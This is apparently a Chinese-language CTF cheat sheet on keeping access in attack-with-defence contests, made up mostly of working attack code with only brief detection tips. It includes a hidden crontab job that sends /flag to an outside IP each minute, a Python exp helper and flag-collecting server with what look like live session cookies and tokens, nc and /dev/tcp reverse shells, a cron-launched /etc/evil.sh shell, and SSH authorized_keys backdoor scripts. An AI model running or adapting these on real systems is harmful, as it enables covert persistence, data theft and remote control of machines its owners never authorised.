AWD权限维持
进程端口查看
ps -aux 进程
netstat -tuln #查看所有开放端口
lsof -i :端口号 #查看指定端口开放情况
计划任务
crontab -l #列出计划任务
crontab -e #写计划任务
crontab -r #删除计划任内务
定时发送flag
1
| */1 * * * * curl 116.63.162.119:7777/?flag=`cat /flag` #每分钟向模板发送flag
|
1
| (crontab -l;printf "*/1 * * * * curl 116.63.162.119:7777/?flag=\`cat /flag\`;\rno crontab for `whoami`%100c\n")|crontab -
|
下面是可以直接用在exp中的写入定时任务的模版
1
2
3
4
5
6
7
| def set_crontab():
My_ip = "127.0.0.1"
port = "8080"
flag_path = "/flag"
crontab_pl = '(crontab -l;printf \"*/1 * * * * curl '+My_ip+":"+port+'/?flag=\`cat '+flag_path+'\`;\\rno crontab for `whoami`%100c\\n\")|crontab -'
print(crontab_pl)
sl(crontab_pl)
|
下面是服务端的设置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
import os
import json
import requests
from http.server import SimpleHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
url = "https://www.ctfer.vip/api/problem/submit/389/"
flag_file = './Logs/flags'
headers = {
"Host": "www.ctfer.vip",
"Cookie": "acw_tc=7587f9a416977141295852732e50fd55170a033cae048764c6a05ff2c9; sessionid=ccoo7mgnx40sje0fwi09rqam0zza4z7y; token=ac44d08aaaed47c5b89e06e36f3f50cb",
"Content-Length": "17",
"Sec-Ch-Ua": '"Not=A?Brand";v="99", "Chromium";v="118"',
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36",
"Sec-Ch-Ua-Platform": '"Windows"',
"Origin": "https://www.ctfer.vip",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://www.ctfer.vip/problem/389",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9"
}
data = {"flag":"111111"}
flag_header = "flag"
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'flag' in query_params:
original_string = query_params['flag'][0]
index = original_string.find(flag_header)
if index != -1:
flag = original_string[:index + 4] + '{' + original_string[index + 4:] + '}'
else:
print("String does not contain 'flag'.")
with open('flag', 'w') as flag_file:
flag_file.write(flag)
flag = flag.strip()
data["flag"] = data["flag"].replace("111111", flag)
print(data)
try:
res = requests.post(url,json=data,headers=headers,timeout=2)
print("\x1b[01;38;5;214m" + res.text + "\x1b[0m")
except:
print("\x1b[01;38;5;214m" + "connect fail!" + "\x1b[0m")
response = "Flag received and saved to flag.txt"
else:
response = "No flag parameter found in the URL."
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
from http.server import HTTPServer
host = 'localhost'
port = 8080
server = HTTPServer((host, port), CustomHandler)
print(f"Server started on http://{host}:{port}")
server.serve_forever()
|
bash反弹shell
主机 nc -lvnp 9999 监听端口
服务机 nc 192.168.11.128 9999 -e /bin/sh 或者 bash -c '/bin/bash -i >& /dev/tcp/192.168.11.128/9999 0>&1'
crontab反弹shell
crontab命令用于设置周期性被执行的指令。新建shell脚本，利用脚本进行反弹。
a、创建shell脚本，例如在/etc/evil.sh
1
2
| #!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
|
chmod +sx /etc/evil.sh
b、crontab -e 设置定时任务
1
2
| #每一分钟执行一次
*/1 * * * * root /etc/evil.sh
|
重启crond服务，service crond restart，然后就可以用nc接收shell。
排查技巧：
1
2
| # 查看可疑的定时任务列表
crontab -e
|
ssh公私钥免密登录攻击
在客户端上生成一对公私钥，然后把公钥放到服务器上（~/.ssh/authorized_keys），保留私钥。当ssh登录时，ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端生成一对公私钥 私钥保存在客户端
把公钥 放在服务端的 ~/.ssh/authorized_keys
那么客户端 去 ssh连接服务端 就可以免密登录
客户端：
过程中按三次回车，执行结束如下图:
进入/root/.ssh/文件夹，查看文件夹的内容，如下所示：
其中 id_rsa为私钥，id_rsa.pub为公钥，接下来打开id_rsa.pub，将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内，配置完成。
排查技巧：查看/root/.ssh/authorized_keys是否被修改。
攻击
根据上面的说法，我们只有能攻击到目标机器然后将id_rsa给传出来即可实现批量登录攻击,下面是脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| #!/bin/bash
# 设置SSH私钥文件夹路径
private_key_folder="./private_keys" # 用你的私钥文件夹的实际路径替换
# 设置SSH端口号
ssh_port="20021"
# 读取包含主机列表的文件，每行一个主机
while IFS= read -r host
do
private_key_file="$private_key_folder/"$host"_id_rsa"
# 执行SSH连接和远程命令
ssh -i "$private_key_file" -p "$ssh_port" ctf@"$host" "cat /flag" >> flag
echo "hack" $host
done < hosts # 用包含主机列表的实际文件名替换
|
修改用户密码
ssh change公钥攻击
有的比赛给的是服务器的私钥去连接的，所以可以去尝试修改该公钥去维持权限
下面是可以直接用到exp中去的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| def change_the_public_key():
public_keys_path = "./2.SSH_login/My_ras_keys/id_rsa_public"
try:
with open(public_keys_path, 'r') as public_key_file:
public_key = public_key_file.read()
payload = 'echo -n '+'"'+public_key+'"'+' > /home/ctf/.ssh/authorized_keys'
sl(payload)
lic("set "+server_ip+" private_keys !!!")
set_puiblic_LOGs_filename = './2.SSH_login/My_ras_keys/hosts'
fd = open(set_puiblic_LOGs_filename, 'ab')
fd.write(server_ip+"\n")
fd.close()
except FileNotFoundError:
return "File not found."
except Exception as e:
return str(e)
|
